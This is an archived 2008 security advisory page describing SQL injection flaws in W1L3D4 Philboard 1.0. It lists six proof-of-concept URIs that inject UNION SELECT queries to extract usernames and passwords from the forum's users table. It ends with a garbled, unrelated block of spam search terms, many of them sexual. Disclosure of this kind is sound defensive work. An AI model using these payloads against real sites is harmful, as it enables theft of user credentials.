exploits , vulnerabilities , articles , W1L3D4 Philboard Multiple SQL Injection Vulnerabilities

Title	W1L3D4 Philboard Multiple SQL Injection Vulnerabilities
Published	2008-04-21-12:00AM
Updated	2008-04-21-08:57PM
Class	Input Validation Error
CVE
Remote	Yes
Local	No
Credit	U238
Vulnerable	W1L3D4 Philboard 1.0
Not Vulnerable
Code	Attackers can use a browser to exploit these issues.The following proof-of-concept URIs are available: http://www.example.com/lab/philboard/philboard_reply.asp?id=1+union+select+0,1,2,3,4,5,6,7,8,username,1,9,0,1,2+from+users http://www.example.com/lab/philboard/philboard_reply.asp?id=1+union+select+0,1,2,3,4,5,6,7,8,password,1,9,0,1,2+from+users http://www.example.com/lab/philboard/philboard_reply.asp?topic=1+union+select+0,username,2,3,4,5,6+from+users http://www.example.com/lab/philboard/philboard_reply.asp?topic=1+union+select+0,password,2,3,4,5,6+from+users http://www.example.com/lab/philboard/philboard_newtopic.asp?forumid=1+union+select+0,password,2,3,4,5+from+users http://www.example.com/lab/philboard/philboard_newtopic.asp?forumid=1+union+select+0,username,2,3,4,5+from+users
TXT

Vulnerabilities - newest 10 RSS | More

2008-10-06 Dovecot ACL Plugin Multiple Security Bypass Vulnerabilities
2008-10-06 AyeView GIF Image Handling Denial of Service Vulnerability
2008-10-06 phpAbook Cookie Local File Include Vulnerability
2008-10-06 K9 Web Protection Authentication Bypass Vulnerabilities
2008-10-06 Fastpublish CMS Local File Include and SQL Injection Vulnerabilities
2008-10-06 RETIRED: Xerox WorkCentre/WorkCentre Pro Network Controller Remote Code Execution Vulnerability
2008-10-06 VMware Products In-Guest Privilege Escalation and Information Disclosure Vulnerabilities
2008-10-06 Microsoft Windows Vista Local Denial Of Service Vulnerability
2008-10-06 FOSS Gallery Arbitrary File Upload Vulnerability
2008-10-03 Linux Kernel LDT Selector Local Privilege Escalation and Denial of Service Vulnerability

SECURITY RSS FEEDS

Advertising

Copyright 2007, SecurityDot
Tue, 07 Oct 2008 09:51:57 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
Pamala www.savixx naved sekeela Www.Pinkwo www.sex3oo php 5.1.2/ www.jakart salescart Www.Woarld www.babes. sekeela vidsvi toon sex f totosex sex in the Dad mom da Naket.com Www.Woarld rambha sex Photokorn www .sex p TRISHASEXI mizuc www.nettby www.tetek. microsoft bollywood- www.sex.ar Ramona biggestass www.clubfa www.tatabr www.waptri lordnikon phpbb 2.0. bollywood dreamaquar EUROTC TV www.pornv. /search/ex ssh 2.0 ex All sixy Youtble SEX.AND.FU Oldmansex Www.zoosex bollywood- EUROTC TV vedio sex.